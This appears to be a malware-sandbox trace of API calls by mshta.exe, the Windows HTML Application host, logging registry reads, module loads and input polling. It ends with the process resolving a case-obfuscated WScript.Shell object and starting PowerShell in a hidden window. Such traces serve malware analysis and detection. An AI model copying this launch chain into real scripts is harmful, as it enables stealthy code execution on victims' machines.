File Open filename = STD_ERROR_HANDLE True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Module Get Filename process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260 True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x776e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = HeapSetInformation, address_out = 0x776fc4a0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32 True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32, data = C:\Windows\System32\mshtml.dll, type = REG_SZ True 1
Fn
Module Load module_name = C:\Windows\System32\mshtml.dll, base_address = 0x7fee0880000 True 1
Fn
System Get Time type = System Time, time = 2017-10-24 17:37:59 (UTC) True 1
Fn
System Get Time type = Ticks, time = 127546 True 1
Fn
System Get Info type = Operating System False 1
Fn
Module Get Filename process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454 False 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragDelay, default_value = 20, data_out = 20 True 1
Fn
System Get Info type = Operating System False 1
Fn
Keyboard Get Info type = KB_LOCALE_ID True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS False 1
Fn
Module Get Filename module_name = C:\Windows\System32\mshtml.dll, process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshtml.dll, size = 260 True 1
Fn
File Open Mapping filename = #MSHTML#PERF#00000BC0, desired_access = FILE_MAP_WRITE False 1
Fn
System Get Info type = Operating System False 1
Fn
Module Get Handle module_name = c:\windows\system32\advapi32.dll, base_address = 0x7feff8e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = EventWrite, address_out = 0x7782b510 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = EventRegister, address_out = 0x7783cac0 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = EventUnregister, address_out = 0x77823c80 True 1
Fn
Module Get Handle module_name = c:\windows\system32\mshta.exe, base_address = 0xff9d0000 True 1
Fn
Module Get Filename module_name = c:\windows\system32\mshta.exe, process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260 True 1
Fn
Mutex Create mutex_name = Local\!PrivacIE!SharedMemory!Mutex True 1
Fn
Module Create Mapping filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 16 True 1
Fn
Module Map process_name = c:\windows\system32\mshta.exe, desired_access = FILE_MAP_WRITE True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x776e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = RegisterApplicationRestart, address_out = 0x7775f510 True 1
Fn
Module Get Address module_name = c:\windows\system32\mshtml.dll, function = RunHTMLApplication, address_out = 0x7fee0ad5b90 True 1
Fn
Window Create class_name = HTML Application Host Window Class, wndproc_parameter = 8791278233248 True 1
Fn
Window Create class_name = HTML Application Host Window Class, wndproc_parameter = 8791278233248 True 1
Fn
Window Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551600, new_long = 18446744071609188352 True 1
Fn
COM Create interface = 00000000-0000-0000-C000-000000000046, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Window Create wndproc_parameter = 0 True 1
Fn
System Get Info type = Windows Directory, result_out = C:\Windows True 1
Fn
Module Load module_name = comctl32.dll, base_address = 0x7fefc060000 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragScrollInset, default_value = 11, data_out = 11 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragScrollDelay, default_value = 50, data_out = 50 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragDelay, default_value = 200, data_out = 200 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragScrollInterval, default_value = 50, data_out = 50 True 1
Fn
Module Get Filename process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260 True 2
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, value_name = NoFileMenu, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM False 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x776e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = InitializeSRWLock, address_out = 0x778384f0 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = AcquireSRWLockExclusive, address_out = 0x77828020 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = AcquireSRWLockShared, address_out = 0x778254e0 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = ReleaseSRWLockExclusive, address_out = 0x77828050 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = ReleaseSRWLockShared, address_out = 0x778254b0 True 1
Fn
Module Load module_name = OLEAUT32.dll, base_address = 0x7fefde70000 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = 6, address_out = 0x7fefde71320 True 1
Fn
System Get Info - True 2
Fn
Module Get Handle module_name = EXPLORER.EXE, base_address = 0x0 False 1
Fn
Module Get Handle module_name = IEXPLORE.EXE, base_address = 0x0 False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup, value_name = Print_Background False 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = 7, address_out = 0x7fefde71020 True 1
Fn
System Get Cursor x_out = 724, y_out = 422 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = 8, address_out = 0x7fefde713f0 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615 False 1
Fn
COM Create interface = 08C0E040-62D1-11D1-9326-0060B067B86E, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_NO_CODE_DOWNLOAD True 1
Fn
Window Create wndproc_parameter = 3921792 True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
Module Load module_name = OLEACC.DLL, base_address = 0x7fef22f0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleacc.dll, function = LresultFromObject, address_out = 0x7fef22f3aa8 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 724, y_out = 422 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 724, y_out = 422 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Get Info - True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME True 1
Fn
Module Load module_name = ieframe.dll, base_address = 0x7fef2350000 True 1
Fn
System Get Info type = Operating System False 1
Fn
Module Load module_name = ieframe.dll, base_address = 0x7fef2350000 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 724, y_out = 422 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 724, y_out = 422 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Get Time type = Ticks, time = 131181 True 250
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
System Get Time type = Ticks, time = 131181 True 1
Fn
System Sleep duration = 0 milliseconds (0.000 seconds) True 1
Fn
System Get Time type = Ticks, time = 131196 True 2
Fn
COM Create interface = BB1A2AE1-A4F9-11CF-8F20-00805F2CD064, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
System Get Time type = System Time, time = 2017-10-24 17:38:03 (UTC) True 1
Fn
System Get Time type = Ticks, time = 131243 True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Load module_name = ole32.dll, base_address = 0x7fefe1c0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\ole32.dll, function = CoCreateInstance, address_out = 0x7fefe1e7490 True 1
Fn
COM Create interface = 6C736DC1-AB0D-11D0-A2AD-00A0C90F27E8, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
System Get Time type = Ticks, time = 131274 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = 2, address_out = 0x7fefde73480 True 1
Fn
Module Get Handle module_name = c:\windows\system32\ole32.dll, base_address = 0x7fefe1c0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\ole32.dll, function = CLSIDFromProgIDEx, address_out = 0x7fefe1da4c4 True 1
Fn
COM Get Class ID cls_id = 72C24DD5-D70A-438B-8A42-98424B88AFB8, prog_id = WsCriPt.SHeLl True 1
Fn
Module Get Address module_name = c:\windows\system32\ole32.dll, function = CoGetClassObject, address_out = 0x7fefe1f2e18 True 1
Fn
COM Create interface = 00000001-0000-0000-C000-000000000046, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER True 1
Fn
System Get Time type = System Time, time = 2017-10-24 17:38:03 (UTC) True 1
Fn
System Get Time type = Ticks, time = 131493 True 1
Fn
System Get Info type = Operating System False 1
Fn
Module Get Filename module_name = IEXPLORE.EXE, process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 261 True 1
Fn
Module Load module_name = shell32.dll, base_address = 0x7fefe850000 True 1
Fn
Module Get Address module_name = c:\windows\system32\shell32.dll, function = ShellExecuteExW, address_out = 0x7fefe877c70 True 1
Fn
Process Create process_name = C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe, show_window = SW_HIDE True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
System Sleep duration = -1 (infinite) True 3
Fn
System Get Info type = Operating System False 1
Fn
Keyboard Get Info type = KB_LOCALE_ID True 1
Fn
Module Load module_name = oleaut32.dll, base_address = 0x7fefde70000 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = VariantClear, address_out = 0x7fefde71180 True 1
Fn
System Get Cursor x_out = 791, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
